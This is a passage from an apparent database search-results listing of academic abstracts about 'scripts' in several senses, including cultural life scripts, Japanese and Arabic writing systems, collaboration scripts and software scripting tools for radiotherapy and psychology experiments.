    Computer-supported collaborative learning (CSCL) scripts can foster learners' deep text comprehension. However, this depends on (a) the extent to which the learning activities targeted by a script promote deep text comprehension and (b) whether the guidance level provided by the script is adequate to induce the targeted learning activities…

  13. Shallow and Deep Orthographies in Hebrew: The Role of Vowelization in Reading Development for Unvowelized Scripts

    ERIC Educational Resources Information Center

    Schiff, Rachel

    2012-01-01

    The present study explored the speed, accuracy, and reading comprehension of vowelized versus unvowelized scripts among 126 native Hebrew speaking children in second, fourth, and sixth grades. Findings indicated that second graders read and comprehended vowelized scripts significantly more accurately and more quickly than unvowelized scripts,…

  14. The transmission and stability of cultural life scripts: a cross-cultural study.

    PubMed

    Janssen, Steve M J; Haque, Shamsul

    2018-01-01

    Cultural life scripts are shared knowledge about the timing of important life events. In the present study, we examined whether cultural life scripts are transmitted through traditions and whether there are additional ways through which they can be attained by asking Australian and Malaysian participants which information sources they had used to generate the life script of their culture. Participants hardly reported that they had used cultural and religious traditions. They more often reported that they had used their own experiences and experiences of relatives and friends. They also reported the use of comments of relatives and friends and the use of newspapers, books, movies and television programmes. Furthermore, we examined the stability of life scripts and similarities and differences across cultures. We found that life scripts are stable cognitive structures and that there are, besides cross-cultural differences in the content, small cross-cultural differences in the valence and distribution of life script events, with the Australian life script containing more positive events and more events expected to occur before the age of 16.

  15. Secure base representations in middle childhood across two Western cultures: Associations with parental attachment representations and maternal reports of behavior problems.

    PubMed

    Waters, Theodore E A; Bosmans, Guy; Vandevivere, Eva; Dujardin, Adinda; Waters, Harriet S

    2015-08-01

    Recent work examining the content and organization of attachment representations suggests that 1 way in which we represent the attachment relationship is in the form of a cognitive script. This work has largely focused on early childhood or adolescence/adulthood, leaving a large gap in our understanding of script-like attachment representations in the middle childhood period. We present 2 studies and provide 3 critical pieces of evidence regarding the presence of a script-like representation of the attachment relationship in middle childhood. We present evidence that a middle childhood attachment script assessment tapped a stable underlying script using samples drawn from 2 western cultures, the United States (Study 1) and Belgium (Study 2). We also found evidence suggestive of the intergenerational transmission of secure base script knowledge (Study 1) and relations between secure base script knowledge and symptoms of psychopathology in middle childhood (Study 2). The results from this investigation represent an important downward extension of the secure base script construct. (c) 2015 APA, all rights reserved).

  16. The Normative and the Personal Life: Individual Differences in Life Scripts and Life Story Events among U.S.A. and Danish Undergraduates

    PubMed Central

    Rubin, David C.; Berntsen, Dorthe; Hutson, Michael

    2011-01-01

    Life scripts are culturally shared expectations about the order and timing of life events in a prototypical life course. American and Danish undergraduates produced life story events and life scripts by listing the seven most important events in their own lives and in the lives of hypothetical people living ordinary lives. They also rated their events on several scales and completed measures of depression, PTSD symptoms, and centrality of a negative event to their lives. The Danish life script replicated earlier work; the American life script showed minor differences from the Danish life script, apparently reflecting genuine differences in shared events as well as less homogeneity in the American sample. Both consisted of mostly positive events that came disproportionately from ages 15 to 30. Valence of life story events correlated with life script valence, depression, PTSD symptoms, and identity. In the Danish undergraduates, measures of life story deviation from the life script correlated with measures of depression and PTSD symptoms. PMID:19105087

  17. A video depicting resuscitation did not impact upon patients' decision-making.

    PubMed

    Richardson-Royer, Caitlin; Naqvi, Imran; Riffel, Christopher; Harvey, Lawrence; Smith, Domonique; Ayalew, Dagmawe; Motayar, Nasim; Amoateng-Adjepong, Yaw; Manthous, Constantine A

    2018-01-01

    Previous studies have demonstrated that video of and scripted information about cardiopulmonary resuscitation (CPR) can be deployed during clinician-patient end-of-life discussions. Few studies, however, examine whether video adds to verbal information-sharing. We hypothesized that video augments script-only decision-making. Patients aged >65 years admitted to hospital wards were randomized to receive evidence-based information ("script") vs. script plus video of simulated CPR and intubation. Patients' decisions registered in the hospital record, by hospital discharge were compared for the two groups. Fifty script-only intervention patients averaging 77.7 years were compared to 50 script+video patients with a mean age of 74.7 years. Eleven of 50 (22%) in each group declined CPR; and an additional three (script) vs. four (script+video) refused intubation for respiratory failure. There were no differences in sex, self-reported health trajectory, functional limitations, length of stay, or mortality associated with decisions. The rate at which verbally informed hospitalized elders opted out of resuscitation was not impacted by adding a video depiction of CPR.

  18. Secure Base Representations in Middle Childhood Across Two Western Cultures: Associations with Parental Attachment Representations and Maternal Reports of Behavior Problems

    PubMed Central

    Waters, Theodore E. A.; Bosmans, Guy; Vandevivere, Eva; Dujardin, Adinda; Waters, Harriet S.

    2015-01-01

    Recent work examining the content and organization of attachment representations suggests that one way in which we represent the attachment relationship is in the form of a cognitive script. That said, this work has largely focused on early childhood or adolescence/adulthood, leaving a large gap in our understanding of script-like attachment representations in the middle childhood period. We present two studies and provide three critical pieces of evidence regarding the presence of a script-like representation of the attachment relationship in middle childhood. We present evidence that a middle childhood attachment script assessment tapped a stable underlying script using samples drawn from two western cultures, the United States (Study 1) and Belgium (Study 2). We also found evidence suggestive of the intergenerational transmission of secure base script knowledge (Study 1) and relations between secure base script knowledge and symptoms of psychopathology in middle childhood (Study 2). The results from this investigation represent an important downward extension of the secure base script construct. PMID:26147774

  19. Parents, peers and pornography: the influence of formative sexual scripts on adult HIV sexual risk behaviour among Black men in the USA.

    PubMed

    Hussen, Sophia A; Bowleg, Lisa; Sangaramoorthy, Thurka; Malebranche, David J

    2012-01-01

    Black men in the USA experience disproportionately high rates of HIV infection, particularly in the Southeastern part of the country. We conducted 90 qualitative in-depth interviews with Black men living in the state of Georgia and analysed the transcripts using Sexual Script Theory to: (1) characterise the sources and content of sexual scripts that Black men were exposed to during their childhood and adolescence and (2) describe the potential influence of formative scripts on adult HIV sexual risk behaviour. Our analyses highlighted salient sources of cultural scenarios (parents, peers, pornography, sexual education and television), interpersonal scripts (early sex- play, older female partners, experiences of child abuse) and intrapsychic scripts that participants described. Stratification of participant responses based on sexual-risk behaviour revealed that lower- and higher-risk men described exposure to similar scripts during their formative years; however, lower-risk men reported an ability to cognitively process and challenge the validity of risk-promoting scripts that they encountered. Implications for future research are discussed.

  20. And now, a word from our sponsor.

    PubMed

    Peebles, M Ellen

    2003-10-01

    Bryant Pharmaceutical's flagship product, a popular arthritis medicine called Seflex, is selling well--but not well enough. With generic versions due on the shelves in a couple of years, the drug company is looking for a dramatic sales increase. No wonder marketing VP Laura Goldenberg feels the pressure. She knows she has to reach more consumers, but in an environment where people bombarded with advertising are using devices such as TiVo to skip ads, her job has suddenly taken on a new intensity. In search of a new, gangbuster campaign, Laura and her ad agency come up with the idea of product placement--not your typical integration of a product into a television or movie script, but a less traditional approach. Their idea is to hire a much-loved, elderly actress to extol the virtues of Seflex on a morning news program. The news segment would be about arthritis, and Seflex would be casually mentioned during the interview. The company would have to pay the actress $1 million, and there are risks: What if it gets out that Bryant is paying her? What if the actress errs and says something about Seflex's side effects? If something goes wrong, Bryant Pharmaceutical's reputation could suffer. Should the company green-light Laura's plan? This fictional case study looks at the pros and cons of traditional product placement and newer, more subtle alternatives to advertising. Commenting on the case are Bob Gamgort, president of Masterfoods USA; Michelle R. Nelson, an assistant professor of journalism and mass communications at the University of Wisconsin, Madison; FTC commissioner Mozelle W. Thompson; and Mike Sheehan, president and CEO of Hill, Holliday, Connors, Cosmopulos.

  1. An ERP investigation of visual word recognition in syllabary scripts.

    PubMed

    Okano, Kana; Grainger, Jonathan; Holcomb, Phillip J

    2013-06-01

    The bimodal interactive-activation model has been successfully applied to understanding the neurocognitive processes involved in reading words in alphabetic scripts, as reflected in the modulation of ERP components in masked repetition priming. In order to test the generalizability of this approach, in the present study we examined word recognition in a different writing system, the Japanese syllabary scripts hiragana and katakana. Native Japanese participants were presented with repeated or unrelated pairs of Japanese words in which the prime and target words were both in the same script (within-script priming, Exp. 1) or were in the opposite script (cross-script priming, Exp. 2). As in previous studies with alphabetic scripts, in both experiments the N250 (sublexical processing) and N400 (lexical-semantic processing) components were modulated by priming, although the time course was somewhat delayed. The earlier N/P150 effect (visual feature processing) was present only in "Experiment 1: Within-script priming", in which the prime and target words shared visual features. Overall, the results provide support for the hypothesis that visual word recognition involves a generalizable set of neurocognitive processes that operate in similar manners across different writing systems and languages, as well as pointing to the viability of the bimodal interactive-activation framework for modeling such processes.

  2. The role of semantic processing in reading Japanese orthographies: an investigation using a script-switch paradigm.

    PubMed

    Dylman, Alexandra S; Kikutani, Mariko

    2018-01-01

    Research on Japanese reading has generally indicated that processing of the logographic script Kanji primarily involves whole-word lexical processing and follows a semantics-to-phonology route, while the two phonological scripts Hiragana and Katakana (collectively called Kana) are processed via a sub-lexical route, and more in a phonology-to-semantics manner. Therefore, switching between the two scripts often involves switching between two reading processes, which results in a delayed response for the second script (a script switch cost). In the present study, participants responded to pairs of words that were written either in the same orthography (within-script), or in two different Japanese orthographies (cross-script), switching either between Kanji and Hiragana, or between Katakana and Hiragana. They were asked to read the words aloud (Experiments 1 and 3) and to make a semantic decision about them (Experiments 2 and 4). In contrast to initial predictions, a clear switch cost was observed when participants switched between the two Kana scripts, while script switch costs were less consistent when participants switched between Kanji and Hiragana. This indicates that there are distinct processes involved in reading of the two types of Kana, where Hiragana reading appears to bear some similarities to Kanji processing. This suggests that the role of semantic processing in Hiragana (but not Katakana) reading is more prominent than previously thought and thus, Hiragana is not likely to be processed strictly phonologically.

  3. PyCMSXiO: an external interface to script treatment plans for the Elekta® CMS XiO treatment planning system

    NASA Astrophysics Data System (ADS)

    Xing, Aitang; Arumugam, Sankar; Holloway, Lois; Goozee, Gary

    2014-03-01

    Scripting in radiotherapy treatment planning systems not only simplifies routine planning tasks but can also be used for clinical research. Treatment planning scripting can only be utilized in a system that has a built-in scripting interface. Among the commercially available treatment planning systems, Pinnacle (Philips) and Raystation (Raysearch Lab.) have inherent scripting functionality. CMS XiO (Elekta) is a widely used treatment planning system in radiotherapy centres around the world, but it does not have an interface that allows the user to script radiotherapy plans. In this study an external scripting interface, PyCMSXiO, was developed for XiO using the Python programming language. The interface was implemented as a python package/library using a modern object-oriented programming methodology. The package was organized as a hierarchy of different classes (objects). Each class (object) corresponds to a plan object such as the beam of a clinical radiotherapy plan. The interface of classes was implemented as object functions. Scripting in XiO using PyCMSXiO is comparable with Pinnacle scripting. This scripting package has been used in several research projects including commissioning of a beam model, independent three-dimensional dose verification for IMRT plans and a setup-uncertainty study. Ease of use and high-level functions provided in the package achieve a useful research tool. It was released as an open-source tool that may benefit the medical physics community.

  4. Towards a measurement of internalization of collaboration scripts in the medical context - results of a pilot study.

    PubMed

    Kiesewetter, Jan; Gluza, Martin; Holzer, Matthias; Saravo, Barbara; Hammitzsch, Laura; Fischer, Martin R

    2015-01-01

    Collaboration as a key qualification in medical education and everyday routine in clinical care can substantially contribute to improving patient safety. Internal collaboration scripts are conceptualized as organized - yet adaptive - knowledge that can be used in specific situations in professional everyday life. This study examines the level of internalization of collaboration scripts in medicine. Internalization is understood as fast retrieval of script information. The goals of the current study were the assessment of collaborative information, which is part of collaboration scripts, and the development of a methodology for measuring the level of internalization of collaboration scripts in medicine. For the contrastive comparison of internal collaboration scripts, 20 collaborative novices (medical students in their final year) and 20 collaborative experts (physicians with specialist degrees in internal medicine or anesthesiology) were included in the study. Eight typical medical collaborative situations as shown on a photo or video were presented to the participants for five seconds each. Afterwards, the participants were asked to describe what they saw on the photo or video. Based on the answers, the amount of information belonging to a collaboration script (script-information) was determined and the time each participant needed for answering was measured. In order to measure the level of internalization, script-information per recall time was calculated. As expected, collaborative experts stated significantly more script-information than collaborative novices. As well, collaborative experts showed a significantly higher level of internalization. Based on the findings of this research, we conclude that our instrument can discriminate between collaboration novices and experts. It therefore can be used to analyze measures to foster subject-specific competency in medical education.

  5. Regional Geologic Map of San Andreas and Related Faults in Carrizo Plain, Temblor, Caliente and La Panza Ranges and Vicinity, California; A Digital Database

    USGS Publications Warehouse

    Dibblee, T. W.; Digital database compiled by Graham, S. E.; Mahony, T.M.; Blissenbach, J.L.; Mariant, J.J.; Wentworth, C.M.

    1999-01-01

    This Open-File Report is a digital geologic map database. The report serves to introduce and describe the digital data. There is no paper map included in the Open-File Report. The report includes PostScript and PDF plot files that can be used to plot images of the geologic map sheet and explanation sheet. This digital map database is prepared from a previously published map by Dibblee (1973). The geologic map database delineates map units that are identified by general age, lithology, and clast size following the stratigraphic nomenclature of the U.S. Geological Survey. For descriptions of the units, their stratigraphic relations, and sources of geologic mapping, consult the explanation sheet (of99-14_4b.ps or of99-14_4d.pdf), or the original published paper map (Dibblee, 1973). The scale of the source map limits the spatial resolution (scale) of the database to 1:125,000 or smaller. For those interested in the geology of Carrizo Plain and vicinity who do not use an ARC/INFO compatible Geographic Information System (GIS), but would like to obtain a paper map and explanation, PDF and PostScript plot files containing map images of the data in the digital database, as well as PostScript and PDF plot files of the explanation sheet and explanatory text, have been included in the database package (please see the section 'Digital Plot Files', page 5). The PostScript plot files require a gzip utility to access them. For those without computer capability, we can provide users with the PostScript or PDF files on tape that can be taken to a vendor for plotting. Paper plots can also be ordered directly from the USGS (please see the section 'Obtaining Plots from USGS Open-File Services', page 5). The content and character of the database, methods of obtaining it, and processes of extracting the map database from the tar (tape archive) file are described herein. The map database itself, consisting of six ARC/INFO coverages, can be obtained over the Internet or by magnetic tape copy as described below. The database was compiled using ARC/INFO, a commercial Geographic Information System (Environmental Systems Research Institute, Redlands, California), with version 3.0 of the menu interface ALACARTE (Fitzgibbon and Wentworth, 1991, Fitzgibbon, 1991, Wentworth and Fitzgibbon, 1991). The ARC/INFO coverages are stored in uncompressed ARC export format (ARC/INFO version 7.x). All data files have been compressed, and may be uncompressed with gzip, which is available free of charge over the Internet via links from the USGS Public Domain Software page (http://edcwww.cr.usgs.gov/doc/edchome/ndcdb/public.html). ARC/INFO export files (files with the .e00 extension) can be converted into ARC/INFO coverages in ARC/INFO (see below) and can be read by some other Geographic Information Systems, such as MapInfo via ArcLink and ESRI's ArcView.

  6. Using Audio Script Fading and Multiple-Exemplar Training to Increase Vocal Interactions in Children with Autism

    ERIC Educational Resources Information Center

    Garcia-Albea, Elena; Reeve, Sharon A.; Brothers, Kevin J.; Reeve, Kenneth F.

    2014-01-01

    Script-fading procedures have been shown to be effective for teaching children with autism to initiate and participate in social interactions without vocal prompts from adults. In previous script and script-fading research, however, there has been no demonstration of a generalized repertoire of vocal interactions under the control of naturally…

  7. Arabic Script and the Rise of Arabic Calligraphy

    ERIC Educational Resources Information Center

    Alshahrani, Ali A.

    2008-01-01

    The aim of this paper is to present a concise coherent literature review of the Arabic Language script system as one of the oldest living Semitic languages in the world. The article discusses in depth firstly, Arabic script as a phonemic sound-based writing system of twenty eight, right to left cursive script where letterforms shaped by their…

  8. Scripted Collaboration and Group-Based Variations in a Higher Education CSCL Context

    ERIC Educational Resources Information Center

    Hamalainen, Raija; Arvaja, Maarit

    2009-01-01

    Scripting student activities is one way to make Computer-Supported Collaborative Learning more efficient. This case study examines how scripting guided student group activities and also how different groups interpreted the script; what kinds of roles students adopted and what kinds of differences there were between the groups in terms of their…

  9. Exploring the Presence of a Deaf American Cultural Life Script

    ERIC Educational Resources Information Center

    Clark, M. Diane; Daggett, Dorri J.

    2015-01-01

    Cultural life scripts are defined as culturally shared expectations that focus on a series of events that are ordered in time. In these scripts, generalized expectations for what to expect through the life course are outlined. This study examined the possibility of a Deaf American Life Script developed in relationship to the use of a visual…

  10. Cross-script and within-script priming in alcoholic Korsakoff patients.

    PubMed

    Komatsu, Shin-Ichi; Mimura, Masaru; Kato, Motoichiro; Kashima, Haruo

    2003-04-01

    In two experiments, alcoholic Korsakoff patients and control subjects studied a list of Japanese nouns written in either Hiragana or Kanji script. Word-fragment completion and recognition tests were then administered in Hiragana. When the writing script was changed between study and test phases, repetition priming in word-fragment completion was significantly attenuated but was still reliable against baseline performance. This was confirmed for both Korsakoff patients and control subjects. In contrast, the script change had little effect on recognition memory, which was severely impaired in Korsakoff patients. The results suggest that repetition priming is mediated by two different implicit processes, one that is script-specific and the other that is assumed to operate at a more abstract level.

  11. Accessing world knowledge: evidence from N400 and reaction time priming.

    PubMed

    Chwilla, Dorothee J; Kolk, Herman H J

    2005-12-01

    How fast are we in accessing world knowledge? In two experiments, we tested for priming for word triplets that described a conceptual script (e.g., DIRECTOR-BRIBE-DISMISSAL) but were not associatively related and did not share a category relationship. Event-related brain potentials were used to track the time course at which script information becomes available. In Experiment 1, in which participants made lexical decisions, we found a facilitation for script-related relative to unrelated triplets, as indicated by (i) a decrease in both reaction time and errors, and (ii) an N400-like priming effect. In Experiment 2, we further explored the locus of script priming by increasing the contribution of meaning integration processes. The participants' task was to indicate whether the three words presented a plausible scenario. Again, an N400 script priming effect was obtained. Directing attention to script relations was effective in enhancing the N400 effect. The time course of the N400 effect was similar to that of the standard N400 effect to semantic relations. The present results show that script priming can be obtained in the visual modality, and that script information is immediately accessed and integrated with context. This supports the view that script information forms a central aspect of word meaning. The RT and N400 script priming effects reported in this article are problematic for most current semantic priming models, like spreading activation models, expectancy models, and task-specific semantic matching/integration models. They support a view in which there is no clear cutoff point between semantic knowledge and world knowledge.

  12. An Exploration of the Examination Script Features that Most Influence Expert Judgements in Three Methods of Evaluating Script Quality

    ERIC Educational Resources Information Center

    Suto, Irenka; Novakovic, Nadezda

    2012-01-01

    Some methods of determining grade boundaries within examinations, such as awarding, paired comparisons, and rank ordering, entail expert judgements of script quality. We aimed to identify the features of examinees' scripts that most influence judgements in the three methods. For contrasting examinations in biology and English, a Latin square…

  13. "Can There Be Such a Delightful Feeling as This?" Variations of Sexual Scripts in Finnish Girls' Narratives

    ERIC Educational Resources Information Center

    Suvivuo, Pia; Tossavainen, Kerttu; Kontula, Osmo

    2010-01-01

    This study examined what kinds of sexual scripts were found in Finnish girls' narratives, what elements those scripts included and how different scripts were associated with sexually risky behavior. The data were comprised of the narratives of 173 14-15-year-old girls regarding their experiences in sexually motivating situations. The narratives…

  14. Accurate Arabic Script Language/Dialect Classification

    DTIC Science & Technology

    2014-01-01

    Army Research Laboratory Accurate Arabic Script Language/Dialect Classification by Stephen C. Tratz ARL-TR-6761 January 2014 Approved for public...1197 ARL-TR-6761 January 2014 Accurate Arabic Script Language/Dialect Classification Stephen C. Tratz Computational and Information Sciences...Include area code) Standard Form 298 (Rev. 8/98) Prescribed by ANSI Std. Z39.18 January 2014 Final Accurate Arabic Script Language/Dialect Classification

  15. "Writing It in English": Script Choices among Young Multilingual Muslims in the UK

    ERIC Educational Resources Information Center

    Rosowsky, Andrey

    2010-01-01

    Much attention has been paid in the literature to matters of script choice vis-a-vis languages. This attention, however, has focused on script choice in a national and political context. By contrast, there has not been any significant attention paid to more local and idiosyncratic instances of script choice operating on an individual and community…

  16. The Influence of Cross-Language Similarity on within- and between-Language Stroop Effects in Trilinguals

    PubMed Central

    van Heuven, Walter J. B.; Conklin, Kathy; Coderre, Emily L.; Guo, Taomei; Dijkstra, Ton

    2011-01-01

    This study investigated effects of cross-language similarity on within- and between-language Stroop interference and facilitation in three groups of trilinguals. Trilinguals were either proficient in three languages that use the same-script (alphabetic in German–English–Dutch trilinguals), two similar scripts and one different script (Chinese and alphabetic scripts in Chinese–English–Malay trilinguals), or three completely different scripts (Arabic, Chinese, and alphabetic in Uyghur–Chinese–English trilinguals). The results revealed a similar magnitude of within-language Stroop interference for the three groups, whereas between-language interference was modulated by cross-language similarity. For the same-script trilinguals, the within- and between-language interference was similar, whereas the between-language Stroop interference was reduced for trilinguals with languages written in different scripts. The magnitude of within-language Stroop facilitation was similar across the three groups of trilinguals, but smaller than within-language Stroop interference. Between-language Stroop facilitation was also modulated by cross-language similarity such that these effects became negative for trilinguals with languages written in different scripts. The overall pattern of Stroop interference and facilitation effects can be explained in terms of diverging and converging color and word information across languages. PMID:22180749

  17. PsyScript: a Macintosh application for scripting experiments.

    PubMed

    Bates, Timothy C; D'Oliveiro, Lawrence

    2003-11-01

    PsyScript is a scriptable application allowing users to describe experiments in Apple's compiled high-level object-oriented AppleScript language, while still supporting millisecond or better within-trial event timing (delays can be in milliseconds or refresh-based, and PsyScript can wait on external I/O, such as eye movement fixations). Because AppleScript is object oriented and system-wide, PsyScript experiments support complex branching, code reuse, and integration with other applications. Included AppleScript-based libraries support file handling and stimulus randomization and sampling, as well as more specialized tasks, such as adaptive testing. Advanced features include support for the BBox serial port button box, as well as a low-cost USB-based digital I/O card for millisecond timing, recording of any number and types of responses within a trial, novel responses, such as graphics tablet drawing, and use of the Macintosh sound facilities to provide an accurate voice key, saving voice responses to disk, scriptable image creation, support for flicker-free animation, and gaze-dependent masking. The application is open source, allowing researchers to enhance the feature set and verify internal functions. Both the application and the source are available for free download at www.maccs.mq.edu.au/-tim/psyscript/.

  18. The development of videos in culturally grounded drug prevention for rural native Hawaiian youth.

    PubMed

    Okamoto, Scott K; Helm, Susana; McClain, Latoya L; Dinson, Ay-Laina

    2012-12-01

    The purpose of this study was to adapt and validate narrative scripts to be used for the video components of a culturally grounded drug prevention program for rural Native Hawaiian youth. Scripts to be used to film short video vignettes of drug-related problem situations were developed based on a foundation of pre-prevention research funded by the National Institute on Drug Abuse. Seventy-four middle- and high-school-aged youth in 15 focus groups adapted and validated the details of the scripts to make them more realistic. Specifically, youth participants affirmed the situations described in the scripts and suggested changes to details of the scripts to make them more culturally specific. Suggested changes to the scripts also reflected preferred drug resistance strategies described in prior research, and varied based on the type of drug offerer described in each script (i.e., peer/friend, parent, or cousin/sibling). Implications for culturally grounded drug prevention are discussed.

  19. Using audio script fading and multiple-exemplar training to increase vocal interactions in children with autism.

    PubMed

    Garcia-Albea, Elena; Reeve, Sharon A; Brothers, Kevin J; Reeve, Kenneth F

    2014-01-01

    Script-fading procedures have been shown to be effective for teaching children with autism to initiate and participate in social interactions without vocal prompts from adults. In previous script and script-fading research, however, there has been no demonstration of a generalized repertoire of vocal interactions under the control of naturally occurring relevant stimuli. In this study, 4 boys with autism were taught to initiate a conversation in the presence of toys through the use of a script and script-fading procedure. Training with multiple categories and exemplars of toys was used to increase the likelihood of generalization of vocal interactions across novel toys. A multiple-probe design across participants was used to assess the effects of these procedures. The intervention successfully brought interactions by children with autism under the control of relevant stimuli in the environment. Future research pertaining to the specific implementation of these procedures (e.g., fading, script placement, participant characteristics) is discussed. © Society for the Experimental Analysis of Behavior.

  20. LAMDA programmer's manual

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hughes, T.P.; Clark, R.M.; Mostrom, M.A.

    This report discusses the following topics on the LAMDA program: General maintenance; CTSS FCL script; DOS batch files; Macintosh MPW scripts; UNICOS FCL script; VAX/MS command file; LINC calling tree; and LAMDA calling tree.

  1. Using Diacritics in the Arabic Script of Malay to Scaffold Arab Postgraduate Students in Reading Malay Words

    ERIC Educational Resources Information Center

    Salehuddin, Khazriyati; Winskel, Heather

    2015-01-01

    Purpose: This study aims to investigate the use of diacritics in the Arabic script of Malay to facilitate Arab postgraduate students of UKM to read the Malay words accurately. It is hypothesised that the Arabic script could facilitate the reading of Malay words among the Arab students because of their earlier exposure to the Arabic script in…

  2. The Next Generation of Ground Operations Command and Control; Scripting in C no. and Visual Basic

    NASA Technical Reports Server (NTRS)

    Ritter, George; Pedoto, Ramon

    2010-01-01

    Scripting languages have become a common method for implementing command and control solutions in space ground operations. The Systems Test and Operations Language (STOL), the Huntsville Operations Support Center (HOSC) Scripting Language Processor (SLP), and the Spacecraft Control Language (SCL) offer script-commands that wrap tedious operations tasks into single calls. Since script-commands are interpreted, they also offer a certain amount of hands-on control that is highly valued in space ground operations. Although compiled programs seem to be unsuited for interactive user control and are more complex to develop, Marshall Space flight Center (MSFC) has developed a product called the Enhanced and Redesign Scripting (ERS) that makes use of the graphical and logical richness of a programming language while offering the hands-on and ease of control of a scripting language. ERS is currently used by the International Space Station (ISS) Payload Operations Integration Center (POIC) Cadre team members. ERS integrates spacecraft command mnemonics, telemetry measurements, and command and telemetry control procedures into a standard programming language, while making use of Microsoft's Visual Studio for developing Visual Basic (VB) or C# ground operations procedures. ERS also allows for script-style user control during procedure execution using a robust graphical user input and output feature. The availability of VB and C# programmers, and the richness of the languages and their development environment, has allowed ERS to lower our "script" development time and maintenance costs at the Marshall POIC.

  3. Subliminal convergence of Kanji and Kana words: further evidence for functional parcellation of the posterior temporal cortex in visual word perception.

    PubMed

    Nakamura, Kimihiro; Dehaene, Stanislas; Jobert, Antoinette; Le Bihan, Denis; Kouider, Sid

    2005-06-01

    Recent evidence has suggested that the human occipitotemporal region comprises several subregions, each sensitive to a distinct processing level of visual words. To further explore the functional architecture of visual word recognition, we employed a subliminal priming method with functional magnetic resonance imaging (fMRI) during semantic judgments of words presented in two different Japanese scripts, Kanji and Kana. Each target word was preceded by a subliminal presentation of either the same or a different word, and in the same or a different script. Behaviorally, word repetition produced significant priming regardless of whether the words were presented in the same or different script. At the neural level, this cross-script priming was associated with repetition suppression in the left inferior temporal cortex anterior and dorsal to the visual word form area hypothesized for alphabetical writing systems, suggesting that cross-script convergence occurred at a semantic level. fMRI also evidenced a shared visual occipito-temporal activation for words in the two scripts, with slightly more mesial and right-predominant activation for Kanji and with greater occipital activation for Kana. These results thus allow us to separate script-specific and script-independent regions in the posterior temporal lobe, while demonstrating that both can be activated subliminally.

  4. The cultural life script as cognitive schema: how the life script shapes memory for fictional life stories.

    PubMed

    Koppel, Jonathan; Berntsen, Dorthe

    2014-01-01

    We tested, across three studies, the effect of the cultural life script on memory and its phenomenological properties. We focused in particular on the mnemonic effects of both schema-consistency and frequency in the life script. In addition to testing recognition (in Study 1) and recall (in Studies 2 and 3), we also collected remember/know judgements for remembered events (in Studies 1 and 2) and memory for their emotional valence (in Study 2). Our primary finding was that, across all three studies, higher-frequency events were more memorable than lower-frequency events, as measured through either recognition or recall. We also attained three additional, complementary effects: First, schema-inconsistent events received remember ratings more often than schema-consistent events (in Study 2, with a trend to this effect in Study 1); second, where an event's emotional valence was inconsistent with the life script, memory for its valence was reconstructed to fit the script (in Study 2); and, third, intrusions in recall were disproportionately for life script events (in Study 3), although that was not the case in recognition (in Study 1). We conclude that the life script serves as a cognitive schema in how it shapes memory and its phenomenological properties.

  5. An ERP Investigation of Visual Word Recognition in Syllabary Scripts

    PubMed Central

    Okano, Kana; Grainger, Jonathan; Holcomb, Phillip J.

    2013-01-01

    The bi-modal interactive-activation model has been successfully applied to understanding the neuro-cognitive processes involved in reading words in alphabetic scripts, as reflected in the modulation of ERP components in masked repetition priming. In order to test the generalizability of this approach, the current study examined word recognition in a different writing system, the Japanese syllabary scripts Hiragana and Katakana. Native Japanese participants were presented with repeated or unrelated pairs of Japanese words where the prime and target words were both in the same script (within-script priming, Experiment 1) or were in the opposite script (cross-script priming, Experiment 2). As in previous studies with alphabetic scripts, in both experiments the N250 (sub-lexical processing) and N400 (lexical-semantic processing) components were modulated by priming, although the time-course was somewhat delayed. The earlier N/P150 effect (visual feature processing) was present only in Experiment 1 where prime and target words shared visual features. Overall, the results provide support for the hypothesis that visual word recognition involves a generalizable set of neuro-cognitive processes that operate in a similar manner across different writing systems and languages, as well as pointing to the viability of the bi-modal interactive activation framework for modeling such processes. PMID:23378278

  6. Exploiting structure similarity in refinement: automated NCS and target-structure restraints in BUSTER

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Smart, Oliver S., E-mail: osmart@globalphasing.com; Womack, Thomas O.; Flensburg, Claus

    2012-04-01

    Local structural similarity restraints (LSSR) provide a novel method for exploiting NCS or structural similarity to an external target structure. Two examples are given where BUSTER re-refinement of PDB entries with LSSR produces marked improvements, enabling further structural features to be modelled. Maximum-likelihood X-ray macromolecular structure refinement in BUSTER has been extended with restraints facilitating the exploitation of structural similarity. The similarity can be between two or more chains within the structure being refined, thus favouring NCS, or to a distinct ‘target’ structure that remains fixed during refinement. The local structural similarity restraints (LSSR) approach considers all distances less thanmore » 5.5 Å between pairs of atoms in the chain to be restrained. For each, the difference from the distance between the corresponding atoms in the related chain is found. LSSR applies a restraint penalty on each difference. A functional form that reaches a plateau for large differences is used to avoid the restraints distorting parts of the structure that are not similar. Because LSSR are local, there is no need to separate out domains. Some restraint pruning is still necessary, but this has been automated. LSSR have been available to academic users of BUSTER since 2009 with the easy-to-use -autoncs and @@target target.pdb options. The use of LSSR is illustrated in the re-refinement of PDB entries http://scripts.iucr.org/cgi-bin/cr.cgi?rm, where -target enables the correct ligand-binding structure to be found, and http://scripts.iucr.org/cgi-bin/cr.cgi?rm, where -autoncs contributes to the location of an additional copy of the cyclic peptide ligand.« less

  7. IYA Tabloid in Your Community

    NASA Astrophysics Data System (ADS)

    Harvey, Janice; Michaud, P.

    2008-05-01

    Gemini PIO would like to offer suggestions on how to approach your local newspaper with the possibility of a tabloid for your community being published during IYA 2009. Local government support, astronomer's articles, advertisers, and someone within your organization to manage the content will be discussed. We will explain the timeline required, number of personnel hours required, developmental stages and income your local newspaper would have to generate in order to produce a quality, table-top tabloid. In 2003 "Stars Over Mauna Kea", a special supplement/tabloid was produced and distributed in the local newspapers in Hilo, Hawaii with over 30,000 copies printed and distributed. The publication, 48 pages in total, featured profiles of observatories on Mauna Kea, stories about the geology and legends of Mauna Kea, and historical information about the evolution of astronomy in Hawaii. In addition the publication included a series of essays titled "In their own words". These were articles written by key members of the astronomy community. In 2005 60,000 copies of "Stars Over Mauna Kea II” were printed as a follow-up to the first edition. An article on `Imiloa Astronomy Education Center, explanations of what types of telescopes sit atop Mauna Kea, and columns written by scientists about the fascinating and significant discoveries being made were featured. Personal stories about careers in astronomy were highlighted. In Chile, a similar tabloid, 8 pages in length was published and 5,000 copies were distributed throughout the country. The 2005 tabloid featured Gemini, CTIO and SOAR telescopes. In 2009 Gemini PIO will again produce a tabloid for IYA. Potential NSF funding has been requested for a tabloid template for localization and adaptation for the IYA program promotion in local markets. This session will include an update on other Visitors/Science Centers, Observatories and Planetaria Working Group initiatives for the IYA.

  8. LAMDA programmer`s manual. [Final report, Part 1

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hughes, T.P.; Clark, R.M.; Mostrom, M.A.

